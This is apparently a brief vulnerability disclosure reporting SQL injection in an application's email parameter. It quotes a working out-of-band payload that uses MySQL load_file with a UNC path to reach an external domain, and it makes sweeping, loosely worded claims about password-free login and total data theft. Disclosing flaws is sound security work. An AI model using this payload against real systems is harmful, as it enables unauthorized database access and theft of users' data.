## Description:
The email parameter appears to be vulnerable to SQL injection attacks. The
payload '+(select load_file('\\\\
4w1s2cnl83k6s24y0drdhr7oofu8iy6p9d10rog.stupidom23.com\\ilo'))+' was
submitted in the email parameter. This payload injects a SQL sub-query that
calls MySQL's load_file function with a UNC file path that references a URL
on an external domain. The application interacted with that domain,
indicating that the injected SQL query was executed. The attacker can get
all sensitive information from this system when he attacks it online, He
can login super easily WITHOUT PASSWORD - ONLY USER - bypassing, and can
crash or get every sensitive information from him!
